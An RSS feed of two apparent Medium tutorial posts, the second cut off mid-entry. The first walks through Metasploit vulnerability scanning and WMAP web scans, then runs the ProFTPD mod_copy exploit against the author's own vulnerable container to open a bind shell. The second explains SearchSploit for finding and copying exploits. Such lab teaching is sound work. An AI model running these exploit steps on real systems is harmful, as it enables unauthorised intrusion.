<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by DR.ANHKWAR on Medium]]></title>
        <description><![CDATA[Stories by DR.ANHKWAR on Medium]]></description>
        <link>https://medium.com/@dr.anhkwar?source=rss-3f6c103d237------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*F2tmta2WwTYdAHA35dIAWg.jpeg</url>
            <title>Stories by DR.ANHKWAR on Medium</title>
            <link>https://medium.com/@dr.anhkwar?source=rss-3f6c103d237------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 10:59:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dr.anhkwar/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Vulnerability Scanning with Metasploit]]></title>
            <link>https://medium.com/@dr.anhkwar/vulnerability-scanning-with-metasploit-6db1f95157b9?source=rss-3f6c103d237------2</link>
            <guid isPermaLink="false">https://medium.com/p/6db1f95157b9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability-scanning]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[hack-the-planet]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[DR.ANHKWAR]]></dc:creator>
            <pubDate>Wed, 15 Jun 2022 20:27:34 GMT</pubDate>
            <atom:updated>2022-06-15T20:27:34.827Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-sGG-7EvvTzOBSkhSqe8RQ.png" /><figcaption><strong>Metasploit</strong></figcaption></figure><h3>Vulnerability Scanning</h3><p>In testing Kali Nethunter on my OnePlus One I have been on the hunt for tools and workflows that can run on something as lightweight as an Android phone. I also want to see how far I can get without me having to run an external server.</p><p>Vulnerability scanning using OpenVAS, Nessus, or anything else is definitely not something that runs well on lightweight hardware. In my experience, a dedicated vulnerability scanner is pretty resource intensive.</p><p>So in using Metasploit as my primary tool for exploiting vulnerable software, I wanted to document some tips I’ve found to do vulnerability scanning using Metasploit. I will update this post if I find more workflows.</p><h3>Nmap + Metasploit:</h3><p>I recently found out that you can use nmap directly from Metasploit using the db_nmap module. Using this module is really nice because you can get the service results imported directly into Metasploit.</p><p>Here’s an example db_nmap command in Metasploit:</p><pre>msf6 &gt; db_nmap -sV 192.168.1.5</pre><p>Here’s the output (this host is running my <a href="https://hub.docker.com/r/heywoodlh/vulnerable">vulnerable Docker container</a>):</p><pre>msf6 &gt; db_nmap -sV 192.168.1.5<br>[*] Nmap: Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-08 03:47 UTC<br>[*] Nmap: Nmap scan report for 192.168.1.5 (192.168.1.5)<br>[*] Nmap: Host is up (0.12s latency).<br>[*] Nmap: rDNS record for 192.168.1.5: 192.168.1.5.vultr.com<br>[*] Nmap: Not shown: 991 closed ports<br>[*] Nmap: PORT     STATE    SERVICE     VERSION<br>[*] Nmap: 21/tcp   open     ftp         ProFTPD 1.3.5<br>[*] Nmap: 22/tcp   open     ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)<br>[*] Nmap: 25/tcp   filtered smtp<br>[*] Nmap: 80/tcp   open     http        Apache httpd 2.4.7 ((Ubuntu))<br>[*] Nmap: 139/tcp  open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>[*] Nmap: 445/tcp  open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>[*] Nmap: 631/tcp  open     ipp         CUPS 1.7<br>[*] Nmap: 6667/tcp open     irc         UnrealIRCd<br>[*] Nmap: Service Info: Hosts: VULN, irc.TestIRC.net; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel<br>[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 18.18 seconds</pre><p>Now, Metasploit is aware of those services on that host. Check with the services command:</p><pre>msf6 &gt; services<br>Services<br>========</pre><pre>host          port  proto  name         state     info<br>----          ----  -----  ----         -----     ----<br>192.168.1.5  21    tcp    ftp          open      ProFTPD 1.3.5<br>192.168.1.5  22    tcp    ssh          open      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 Ubuntu Linux; proto<br>                                                  col 2.0<br>192.168.1.5  25    tcp    smtp         filtered<br>192.168.1.5  80    tcp    http         open      Apache httpd 2.4.7 (Ubuntu)<br>192.168.1.5  139   tcp    netbios-ssn  open      Samba smbd 3.X - 4.X workgroup: WORKGROUP<br>192.168.1.5  445   tcp    netbios-ssn  open      Samba smbd 3.X - 4.X workgroup: WORKGROUP<br>192.168.1.5  631   tcp    ipp          open      CUPS 1.7<br>192.168.1.5  6667  tcp    irc          open      UnrealIRCd</pre><p>With db_nmap it will automatically import vulnerabilities if you use any of nmap’s vulnerability scanning scripts.</p><p>Here’s an example command:</p><pre>msf6 &gt; db_nmap -sV --script=vulners.nse 192.168.1.5</pre><p>Once that command completed, I could use the vulns command to check out the exploits stored in Metasploit that were discovered using nmap:</p><pre>msf6 &gt; vulns</pre><pre>Vulnerabilities<br>===============</pre><pre>Timestamp                Host          Name                             References<br>---------                ----          ----                             ----------<br>2021-08-08 03:55:55 UTC  192.168.1.5  cpe:/a:proftpd:proftpd:1.3.5     CVE-2015-3306,SAINT:950EB68D408A40399926A4CCAD3CC62E,SAINT:63FB77B9136D48259E4F0D4CDA35E957,SAINT:1B08F4664C428B180EEC9617B41D9A2C,PROFTPD_MOD_COPY,PACKETSTORM:162777,PACKETSTORM:132218,PACKETSTORM:131567,PACKETSTORM:131555,PACKETSTORM:131505,MSF:EXPLOIT/UNIX/FTP/PROFTPD_MODCOPY_EXEC,EDB-ID:49908,EDB-ID:37262,EDB-ID:36803,EDB-ID:36742,1337DAY-ID-23720,1337DAY-ID-23544,SSV:61050,MSF:ILITIES/SUSE-CVE-2019-18217/,CVE-2019-19272,CVE-2019-19271,CVE-2019-19270,CVE-2019-18217,CVE-2016-3125,CVE-2013-4359,CVE-2017-7418</pre><pre>&lt;snipped&gt;</pre><p>You can see there is a vulnerability that Metasploit has an exploit for in the above output of vulns:</p><pre>MSF:EXPLOIT/UNIX/FTP/PROFTPD_MODCOPY_EXEC</pre><p>So let’s exploit it:</p><pre>msf6 &gt; use exploit/unix/ftp/proftpd_modcopy_exec<br>msf6 exploit(unix/ftp/proftpd_modcopy_exec) &gt; set RHOSTS 192.168.1.5<br>RHOSTS =&gt; 192.168.1.5<br>msf6 exploit(unix/ftp/proftpd_modcopy_exec) &gt; set SITEPATH /var/www/html<br>SITEPATH =&gt; /var/www/html<br>msf6 exploit(unix/ftp/proftpd_modcopy_exec) &gt; set payload cmd/unix/bind_awk <br>payload =&gt; cmd/unix/bind_awk<br>msf6 exploit(unix/ftp/proftpd_modcopy_exec) &gt; run </pre><pre>[*] 192.168.1.5:80 - 192.168.1.5:21 - Connected to FTP server<br>[*] 192.168.1.5:80 - 192.168.1.5:21 - Sending copy commands to FTP server<br>[*] 192.168.1.5:80 - Executing PHP payload /VlrUb.php<br>[*] Started bind TCP handler against 192.168.1.5:4444<br>[*] Command shell session 1 opened (0.0.0.0:0 -&gt; 192.168.1.5:4444) at 2021-08-08 04:21:30 +0000</pre><p>There we go! Shell created using the results of a vulnerability scan performed on an Android phone. Epic.</p><p>I would recommend using more nmap vulnerability scanning scripts with Metasploit’s db_nmap module. I found this article very useful on vulnerability scanning with nmap:</p><p><a href="https://securitytrails.com/blog/nmap-vulnerability-scan">How to Detect CVEs Using Nmap Vulnerability Scan Scripts</a></p><h3>Web Application Vulnerability Scans:</h3><p>This was also news to me, but Metasploit has a built-in web application vulnerability scanning module: WMAP:</p><p><a href="https://www.offensive-security.com/metasploit-unleashed/wmap-web-scanner/">WMAP Web Scanner</a></p><p>The documentation for WMAP in somebody else’s old Github repo of Metasploit’s outlines what makes WMAP special:</p><p><a href="https://github.com/lattera/metasploit/blob/master/documentation/wmap.txt">https://github.com/lattera/metasploit/blob/master/documentation/wmap.txt</a></p><p>It doesn’t look like it’s been updated for 10 years. Per the explanation in the link above, WMAP will use information stored in the database to intelligently attack your target. In addition, you can create WMAP profiles to use newer or even custom modules in Metasploit — this makes WMAP extensible and still relevant.</p><p>Let’s try it out.</p><p>First, load wmap and configure your target:</p><pre>msf6 &gt; load wmap</pre><pre>.-.-.-..-.-.-..---..---.<br>| | | || | | || | || |-&#39;<br>`-----&#39;`-&#39;-&#39;-&#39;`-^-&#39;`-&#39;<br>[WMAP 1.5.1] ===  et [  ] metasploit.com 2012<br>[*] Successfully loaded plugin: wmap<br>msf6 &gt; wmap_sites -a http://192.168.1.5<br>[*] Site created.<br>msf6 &gt; wmap_targets -t http://192.168.1.5/drupal<br>msf6 &gt; wmap_targets -l<br>[*] Defined targets<br>===============</pre><pre>     Id  Vhost         Host          Port  SSL    Path<br>     --  -----         ----          ----  ---    ----<br>     0   192.168.1.5  192.168.1.5  80    false  /drupal</pre><p>Next, run tests against your target:</p><pre>msf6 &gt; wmap_run -t<br>[*] Testing target:<br>[*] 	Site: 192.168.1.5 (192.168.1.5)<br>[*] 	Port: 80 SSL: false<br>============================================================<br>[*] Testing started. 2021-08-08 04:43:27 +0000<br>[*] Loading wmap modules...<br>&lt;snipped&gt;</pre><p>Finally, run your scan:</p><pre>msf6 &gt; wmap_run -e <br>[*] Using ALL wmap enabled modules.<br>[-] NO WMAP NODES DEFINED. Executing local modules<br>[*] Testing target:<br>[*] 	Site: 192.168.1.5 (192.168.1.5)<br>[*] 	Port: 80 SSL: false<br>============================================================<br>[*] Testing started. 2021-08-08 04:50:06 +0000<br>[*] <br>=[ SSL testing ]=<br>============================================================<br>[*] Target is not SSL. SSL modules disabled.<br>[*] <br>=[ Web Server testing ]=<br>============================================================<br>[*] Module auxiliary/scanner/http/http_version</pre><pre>[+] 192.168.1.5:80 Apache/2.4.7 (Ubuntu)<br>[*] Module auxiliary/scanner/http/open_proxy<br>[*] Module auxiliary/admin/http/tomcat_administration<br>&lt;snipped&gt;</pre><h3>Using Custom WMAP profiles:</h3><p>In the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Github repo</a> there is some documentation showing how you can extend WMAP to use other modules using WMAP profiles:</p><p><a href="https://github.com/rapid7/metasploit-framework/blob/master/data/wmap/wmap_sample_profile.txt">wmap_sample_profile.txt</a></p><p>Here’s the file:</p><pre># <br># WMAP 1.0 Sample Profile<br># wmap_run -e /path/to/profile<br>#<br># Just add the name of the module. Use # for comments<br>#<br>frontpage<br>frontpage_login<br>options <br>version <br>backup_file <br>#blind_sql_query <br>#brute_dirs <br>copy_of_file <br>dir_listing <br>dir_scanner<br>file_same_name_dir<br>writable</pre><p>You can see from the comments in the file that you can extend WMAP to use other modules. This makes WMAP really useful as you can test newer or custom Metasploit modules against a web server.</p><p>So as an easy example, you could use that example profile, place it in /tmp/wmap-profile and then run the WMAP profile with the following command in Metasploit:</p><pre>msf6 &gt; wmap_run -e /tmp/wmap-profile</pre><p>As I stated earlier, this makes WMAP extensible and will probably keep it forever useful as Rapid 7 continues to create and update Metasploit’s modules.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6db1f95157b9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploit Framework]]></title>
            <link>https://medium.com/@dr.anhkwar/metasploit-framework-8c49f0828325?source=rss-3f6c103d237------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c49f0828325</guid>
            <category><![CDATA[metasploit-framework]]></category>
            <category><![CDATA[searchsploit]]></category>
            <dc:creator><![CDATA[DR.ANHKWAR]]></dc:creator>
            <pubDate>Wed, 15 Jun 2022 19:57:34 GMT</pubDate>
            <atom:updated>2022-06-15T19:57:34.651Z</atom:updated>
            <content:encoded><![CDATA[<h3>SearchSploit</h3><h3>Updating</h3><pre>kali@kali:~$ sudo apt update &amp;&amp; sudo apt -y install exploitdb</pre><h3>Updating SearchSploit</h3><p>If you are using Kali Linux, you can expect the exploitdb package to be <strong>updated weekly</strong> Regardless of how you installed SearchSploit, all you need to do in order to update it is run the following:</p><pre>$ searchsploit -u</pre><p>If you are using the Kali Linux package and haven’t updated since before 20 September 2016 (shame on you), you will first need to update the package in the traditional manner:</p><pre>kali@kali:~$ sudo apt update &amp;&amp; sudo apt -y full-upgrade</pre><h3>Using SearchSploit</h3><h4>Help Screen</h4><p>By using -h, you can see all the features and options that are available to you:</p><pre>kali@kali:~$ searchsploit -h<br>  Usage: searchsploit [options] term1 [term2] ... [termN]<br>​<br>==========<br> Examples<br>==========<br>  searchsploit afd windows local<br>  searchsploit -t oracle windows<br>  searchsploit -p 39446<br>  searchsploit linux kernel 3.2 --exclude=&quot;(PoC)|/dos/&quot;<br>  searchsploit -s Apache Struts 2.0.0<br>  searchsploit linux reverse password<br>  searchsploit -j 55555 | json_pp<br>​<br>  For more examples, see the manual: <a href="https://www.exploit-db.com/searchsploit">https://www.exploit-db.com/searchsploit</a><br>​<br>=========<br> Options<br>=========<br>## Search Terms<br>   -c, --case     [Term]      Perform a case-sensitive search (Default is inSEnsITiVe)<br>   -e, --exact    [Term]      Perform an EXACT &amp; order match on exploit title (Default is an AND match on each term) [Implies &quot;-t&quot;]<br>                                e.g. &quot;WordPress 4.1&quot; would not be detect &quot;WordPress Core 4.1&quot;)<br>   -s, --strict               Perform a strict search, so input values must exist, disabling fuzzy search for version range<br>                                e.g. &quot;1.1&quot; would not be detected in &quot;1.0 &lt; 1.3&quot;)<br>   -t, --title    [Term]      Search JUST the exploit title (Default is title AND the file&#39;s path)<br>       --exclude=&quot;term&quot;       Remove values from results. By using &quot;|&quot; to separate, you can chain multiple values<br>                                e.g. --exclude=&quot;term1|term2|term3&quot;<br>​<br>## Output<br>   -j, --json     [Term]      Show result in JSON format<br>   -o, --overflow [Term]      Exploit titles are allowed to overflow their columns<br>   -p, --path     [EDB-ID]    Show the full path to an exploit (and also copies the path to the clipboard if possible)<br>   -v, --verbose              Display more information in output<br>   -w, --www      [Term]      Show URLs to Exploit-DB.com rather than the local path<br>       --id                   Display the EDB-ID value rather than local path<br>       --colour               Disable colour highlighting in search results<br>​<br>## Non-Searching<br>   -m, --mirror   [EDB-ID]    Mirror (aka copies) an exploit to the current working directory<br>   -x, --examine  [EDB-ID]    Examine (aka opens) the exploit using $PAGER<br>​<br>## Non-Searching<br>   -h, --help                 Show this help screen<br>   -u, --update               Check for and install any exploitdb package updates (brew, deb &amp; git)<br>​<br>## Automation<br>       --nmap     [file.xml]  Checks all results in Nmap&#39;s XML output with service version<br>                                e.g.: nmap [host] -sV -oX file.xml<br>​<br>=======<br> Notes<br>=======<br> * You can use any number of search terms<br> * By default, search terms are not case-sensitive, ordering is irrelevant, and will search between version ranges<br>   * Use &#39;-c&#39; if you wish to reduce results by case-sensitive searching<br>   * And/Or &#39;-e&#39; if you wish to filter results by using an exact match<br>   * And/Or &#39;-s&#39; if you wish to look for an exact version match<br> * Use &#39;-t&#39; to exclude the file&#39;s path to filter the search results<br>   * Remove false positives (especially when searching using numbers - i.e. versions)<br> * When using &#39;--nmap&#39;, adding &#39;-v&#39; (verbose), it will search for even more combinations<br> * When updating or displaying help, search terms will be ignored<br>​<br>kali@kali:~$</pre><h4>Basic Search</h4><p>Simply add any number of search terms you wish to look for:</p><pre>kali@kali:~$ searchsploit afd windows local<br>--------------------------------------------------------------------------------------- ---------------------------------<br> Exploit Title                                                                         |  Path<br>--------------------------------------------------------------------------------------- ---------------------------------<br>Microsoft Windows (x86) - &#39;afd.sys&#39; Local Privilege Escalation (MS11-046)              | windows_x86/local/40564.c<br>Microsoft Windows - &#39;afd.sys&#39; Local Kernel (PoC) (MS11-046)                            | windows/dos/18755.c<br>Microsoft Windows - &#39;AfdJoinLeaf&#39; Local Privilege Escalation (MS11-080) (Metasploit)   | windows/local/21844.rb<br>Microsoft Windows 7 (x64) - &#39;afd.sys&#39; Dangling Pointer Privilege Escalation (MS14-040) | windows_x86-64/local/39525.py<br>Microsoft Windows 7 (x86) - &#39;afd.sys&#39; Dangling Pointer Privilege Escalation (MS14-040) | windows_x86/local/39446.py<br>Microsoft Windows XP - &#39;afd.sys&#39; Local Kernel Denial of Service                        | windows/dos/17133.c<br>Microsoft Windows XP/2003 - &#39;afd.sys&#39; Local Privilege Escalation (K-plugin) (MS08-066) | windows/local/6757.txt<br>Microsoft Windows XP/2003 - &#39;afd.sys&#39; Local Privilege Escalation (MS11-080)            | windows/local/18176.py<br>--------------------------------------------------------------------------------------- ---------------------------------<br>Shellcodes: No Result<br>kali@kali:~$</pre><p>Note, SearchSploit uses an <strong>AND</strong> operator, <em>not</em> an <strong>OR</strong> operator. The more terms that are used, the more results will be filtered out.</p><p><strong>Pro Tip:</strong> Do not use abbreviations (use SQL Injection, not SQLi).</p><p><strong>Pro Tip:</strong> If you are not receiving the expected results, try searching more broadly by using more general terms (use Kernel 2.6 or Kernel 2.x, not Kernel 2.6.25).</p><h4>Title Searching</h4><p>By default, searchsploit will check BOTH the title of the exploit as well as the path. Depending on the search criteria, this may bring up false positives (especially when searching for terms that match platforms and version numbers). Searches can be restricted to the titles by using the -t option:</p><pre>kali@kali:~$ searchsploit -t oracle windows<br>--------------------------------------------------------------------------------------- --------------------<br> Exploit Title                                                                         |  Path<br>--------------------------------------------------------------------------------------- --------------------<br>Oracle 10g (Windows x86) - &#39;PROCESS_DUP_HANDLE&#39; Local Privilege Escalation             | windows_x86/local/3451.c<br>Oracle 9i XDB (Windows x86) - FTP PASS Overflow (Metasploit)                           | windows_x86/remote/16731.rb<br>Oracle 9i XDB (Windows x86) - FTP UNLOCK Overflow (Metasploit)                         | windows_x86/remote/16714.rb<br>Oracle 9i XDB (Windows x86) - HTTP PASS Overflow (Metasploit)                          | windows_x86/remote/16809.rb<br>Oracle MySQL (Windows) - FILE Privilege Abuse (Metasploit)                             | windows/remote/35777.rb<br>Oracle MySQL (Windows) - MOF Execution (Metasploit)                                    | windows/remote/23179.rb<br>Oracle MySQL for Microsoft Windows - Payload Execution (Metasploit)                    | windows/remote/16957.rb<br>Oracle VirtualBox Guest Additions 5.1.18 - Unprivileged Windows User-Mode Guest Code Do| multiple/dos/41932.cpp<br>Oracle VM VirtualBox 5.0.32 r112930 (x64) - Windows Process COM Injection Privilege Esc| windows_x86-64/local/41908.txt<br>--------------------------------------------------------------------------------------- --------------------<br>Shellcodes: No Result<br>kali@kali:~$<br>kali@kali:~$ searchsploit oracle windows | wc -l<br>100<br>kali@kali:~$</pre><p>If we did not use -t, we would have 94 (6 lines are in the heading/footer) results, rather than 9.</p><h4>Removing Unwanted Results</h4><p>We can remove unwanted results by using the --exclude option. We are also ableto remove multiple terms by separating the value with a | (pipe). This can be demonstrated by the following:</p><pre>kali@kali:~$ searchsploit linux kernel 3.2 --exclude=&quot;(PoC)|/dos/&quot;<br>--------------------------------------------------------------------------------------- --------------------<br> Exploit Title                                                                         |  Path<br>--------------------------------------------------------------------------------------- --------------------<br>Linux Kernel (Solaris 10 / &lt; 5.10 138888-01) - Local Privilege Escalation              | solaris/local/15962.c<br>Linux Kernel 2.6.22 &lt; 3.9 (x86/x64) - &#39;Dirty COW /proc/self/mem&#39; Race Condition Privile| linux/local/40616.c<br>Linux Kernel 2.6.22 &lt; 3.9 - &#39;Dirty COW /proc/self/mem&#39; Race Condition Privilege Escalat| linux/local/40847.cpp<br>Linux Kernel 2.6.22 &lt; 3.9 - &#39;Dirty COW PTRACE_POKEDATA&#39; Race Condition (Write Access Me| linux/local/40838.c<br>Linux Kernel 2.6.22 &lt; 3.9 - &#39;Dirty COW&#39; &#39;PTRACE_POKEDATA&#39; Race Condition Privilege Esca| linux/local/40839.c<br>Linux Kernel 2.6.22 &lt; 3.9 - &#39;Dirty COW&#39; /proc/self/mem Race Condition (Write Access Met| linux/local/40611.c<br>Linux Kernel 2.6.39 &lt; 3.2.2 (Gentoo / Ubuntu x86/x64) - &#39;Mempodipper&#39; Local Privilege E| linux/local/18411.c<br>Linux Kernel 2.6.39 &lt; 3.2.2 (x86/x64) - &#39;Mempodipper&#39; Local Privilege Escalation (2)   | linux/local/35161.c<br>Linux Kernel 3.0 &lt; 3.3.5 - &#39;CLONE_NEWUSER|CLONE_FS&#39; Local Privilege Escalation         | linux/local/38390.c<br>Linux Kernel 3.14-rc1 &lt; 3.15-rc4 (x64) - Raw Mode PTY Echo Race Condition Privilege Esc| linux_x86-64/local/33516.c<br>Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) - &#39;perf_swevent_init&#39;| linux_x86-64/local/33589.c<br>Linux Kernel 3.2.x - &#39;uname()&#39; System Call Local Information Disclosure                | linux/local/37937.c<br>Linux Kernel 3.4 &lt; 3.13.2 (Ubuntu 13.04/13.10 x64) - &#39;CONFIG_X86_X32=y&#39; Local Privilege| linux_x86-64/local/31347.c<br>Linux Kernel 3.4 &lt; 3.13.2 (Ubuntu 13.10) - &#39;CONFIG_X86_X32&#39; Arbitrary Write (2)        | linux/local/31346.c<br>Linux Kernel 4.8.0 UDEV &lt; 232 - Local Privilege Escalation                             | linux/local/41886.c<br>Linux Kernel &lt; 3.16.1 - &#39;Remount FUSE&#39; Local Privilege Escalation                      | linux/local/34923.c<br>Linux Kernel &lt; 3.16.39 (Debian 8 x64) - &#39;inotfiy&#39; Local Privilege Escalation           | linux/local/44302.c<br>Linux Kernel &lt; 3.2.0-23 (Ubuntu 12.04 x64) - &#39;ptrace/sysret&#39; Local Privilege Escalation| linux_x86-64/local/34134.c<br>Linux Kernel &lt; 3.4.5 (Android 4.2.2/4.4 ARM) - Local Privilege Escalation              | arm/local/31574.c<br>Linux Kernel &lt; 3.5.0-23 (Ubuntu 12.04.2 x64) - &#39;SOCK_DIAG&#39; SMEP Bypass Local Privilege | linux/local/44299.c<br>Linux Kernel &lt; 3.8.9 (x86-64) - &#39;perf_swevent_init&#39; Local Privilege Escalation (2)     | linux_x86-64/local/26131.c<br>Linux Kernel &lt; 3.8.x - open-time Capability &#39;file_ns_capable()&#39; Local Privilege Escalat| linux/local/25450.c<br>Linux kernel &lt; 4.10.15 - Race Condition Privilege Escalation                           | linux/local/43345.c<br>Linux Kernel &lt; 4.11.8 - &#39;mq_notify: double sock_put()&#39; Local Privilege Escalation      | linux/local/45553.c<br>Linux Kernel &lt; 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation          | linux/local/45010.c<br>Linux Kernel &lt; 4.15.4 - &#39;show_floppy&#39; KASLR Address Leak                               | linux/local/44325.c<br>Linux Kernel &lt; 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation                 | linux/local/44298.c<br>Linux Kernel &lt; 4.4.0-21 (Ubuntu 16.04 x64) - &#39;netfilter target_offset&#39; Local Privilege | linux/local/44300.c<br>Linux Kernel &lt; 4.4.0-83 / &lt; 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation | linux/local/43418.c<br>Linux Kernel &lt; 4.4.0/ &lt; 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local P| linux/local/47169.c<br>--------------------------------------------------------------------------------------- --------------------<br>Shellcodes: No Result<br>kali@kali:~$<br>kali@kali:~$ searchsploit linux kernel 3.2 | wc -l<br>      47<br>kali@kali:~$</pre><p>By doing this, we slim the results down to 30 rather than 41 (6 lines are for the heading/footer)! You may of also noticed, “3.2” isn’t always visible in the results. That is because SearchSploit by default, will try to detect the version, and then search between any ranges in the title. This behaviour can be disabled by doing -s.</p><p><strong>Pro Tip:</strong> By doing:</p><p>searchsploit linux kernel --exclude=&quot;(PoC)|/dos/&quot; | grep &#39; 3.2&#39; <em>(space before the version)</em>,you&#39;ll get even &quot;cleaner&quot; output (sorted based on version without any heading/footers).</p><p>Piping Output (Alternative Method of Removing Unwanted Results)</p><p>The output from searchsploit can be piped into any other program, which is especially useful when outputting the results in JSON format (using the -j option). With this, it is possible to remove any unwanted exploits by using grep. In the following example, we use grep to filter out any &quot;Denial of Service (DoS)&quot; results.</p><pre>kali@kali:~$ searchsploit XnView | grep -v &#39;/dos/&#39;<br>--------------------------------------------------------------------------------------- --------------------<br> Exploit Title                                                                         |  Path<br>--------------------------------------------------------------------------------------- --------------------<br>XnView 1.90.3 - &#39;.xpm&#39; Local Buffer Overflow                                           | windows/local/3777.c<br>XnView 1.92.1 - &#39;FontName&#39; Slideshow Buffer Overflow                                   | windows/local/5346.pl<br>XnView 1.92.1 - Command-Line Arguments Buffer Overflow                                 | windows/remote/31405.c<br>XnView 1.93.6 - &#39;.taac&#39; Local Buffer Overflow                                          | windows/local/5951.c<br>XnView 1.97.4 - &#39;.MBM&#39; File Remote Heap Buffer Overflow                                | windows/remote/34143.txt<br>--------------------------------------------------------------------------------------- --------------------<br>kali@kali:~$<br>kali@kali:~$ searchsploit XnView | wc -l<br>23<br>kali@kali:~$</pre><p>By piping the search results into grep, we managed to filter the results down to 5 rather than 17 (6 lines are in the heading/footer)! <strong>Pro Tip:</strong> We recommend using “/dos/” with grep rather than “dos” so the filter is applied to the path, rather than the title. Although denial of service entries may not include “dos” in their title, they will nevertheless have “dos” in the path. Removing results based on the path will also ensure you don’t inadvertently filter out results that legitimately contain “dos” in their title.</p><h4>Color Output</h4><p>By default, searchsploit highlights the search terms in the results when they are displayed to the user. This works by inserting invisible characters into the output before and after the color changes. Now, if you were to pipe the output (for example, into grep) and try to match a phrase of both highlighted and non-highlighted text in the output, it would not be successful. This can be solved by using the --colour option (--color works as well).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jcfGIxYV2ZKb3Wkl.png" /></figure><h4>Copy To Clipboard</h4><p>So now that we have found the exploit we are looking for, there are various ways to access it quickly. By using -p, we are able to get some more information about the exploit, as well as copy the complete path to the exploit onto the clipboard:</p><pre>kali@kali:~$ searchsploit 39446<br>--------------------------------------------------------------------------------------- --------------------<br> Exploit Title                                                                         |  Path<br>--------------------------------------------------------------------------------------- --------------------<br>Microsoft Windows 7 (x86) - &#39;afd.sys&#39; Dangling Pointer Privilege Escalation (MS14-040) | windows_x86/local/39446.py<br>--------------------------------------------------------------------------------------- --------------------<br>Shellcodes: No Result<br>kali@kali:~$<br>kali@kali:~$ searchsploit -p 39446</pre><pre>  Exploit: Microsoft Windows 7 (x86) - &#39;afd.sys&#39; Dangling Pointer Privilege Escalation (MS14-040)<br>      URL: <a href="https://www.exploit-db.com/exploits/39446/">https://www.exploit-db.com/exploits/39446/</a><br>     Path: /usr/share/exploitdb/exploits/windows_x86/local/39446.py<br>File Type: Python script, ASCII text executable, with CRLF line terminators</pre><pre>Copied EDB-ID #39446&#39;s path to the clipboard.<br>kali@kali:~$<br>kali@kali:~$ /usr/share/exploitdb/exploits/windows_x86/local/39446.py</pre><h4>Copy To Folder</h4><p>We recommend that you do not alter the exploits in your local copy of the database. instead, make a copy of ones that are of interest and use them from a working directory. By using the -m option, we are able to select as many exploits we like to be copied into the same folder that we are currently in:</p><pre>kali@kali:~$ searchsploit MS14-040<br>--------------------------------------------------------------------------------------- --------------------<br> Exploit Title                                                                         |  Path<br>--------------------------------------------------------------------------------------- --------------------<br>Microsoft Windows 7 (x64) - &#39;afd.sys&#39; Dangling Pointer Privilege Escalation (MS14-040) | exploits/windows_x86-64/local/39525.py<br>Microsoft Windows 7 (x86) - &#39;afd.sys&#39; Dangling Pointer Privilege Escalation (MS14-040) | exploits/windows_x86/local/39446.py<br>--------------------------------------------------------------------------------------- --------------------<br>Shellcodes: No Result<br>kali@kali:~$<br>kali@kali:~$ searchsploit -m 39446 win_x86-64/local/39525.py</pre><pre>  Exploit: Microsoft Windows 7 (x86) - &#39;afd.sys&#39; Dangling Pointer Privilege Escalation (MS14-040)<br>      URL: <a href="https://www.exploit-db.com/exploits/39446/">https://www.exploit-db.com/exploits/39446/</a><br>     Path: /usr/share/exploitdb/exploits/windows_x86/local/39446.py<br>File Type: Python script, ASCII text executable, with CRLF line terminators</pre><pre>Copied to: /root/39446.py<br></pre><pre>  Exploit: Microsoft Windows 7 (x64) - &#39;afd.sys&#39; Dangling Pointer Privilege Escalation (MS14-040)<br>      URL: <a href="https://www.exploit-db.com/exploits/39525/">https://www.exploit-db.com/exploits/39525/</a><br>     Path: /usr/share/exploitdb/exploits/windows_x86-64/local/39525.py<br>File Type: Python script, ASCII text executable, with CRLF line terminators</pre><pre>Copied to: /root/39525.py<br></pre><pre>kali@kali:~$</pre><p>You do not have to give the exact EDB-ID value (such as “39446”); SearchSploit is able to automatically extract it from a path given to it (such as “39525”).</p><h4>Exploit-DB Online</h4><p>The Exploit Database repository is the main core of Exploit-DB, making SearchSploit efficient and easy to use. However, some of the exploit metadata (such as screenshots, setup files, tags, and vulnerability mappings) are not included. To access them, you will need to check the website. You can quickly generate the links to exploits of interest by using the -w option:</p><pre>kali@kali:~$ searchsploit WarFTP 1.65 -w<br>--------------------------------------------------------------------------------------- --------------------<br> Exploit Title                                                                         |  URL<br>--------------------------------------------------------------------------------------- --------------------<br>WarFTP 1.65 (Windows 2000 SP4) - &#39;USER&#39; Remote Buffer Overflow (Perl)                  | <a 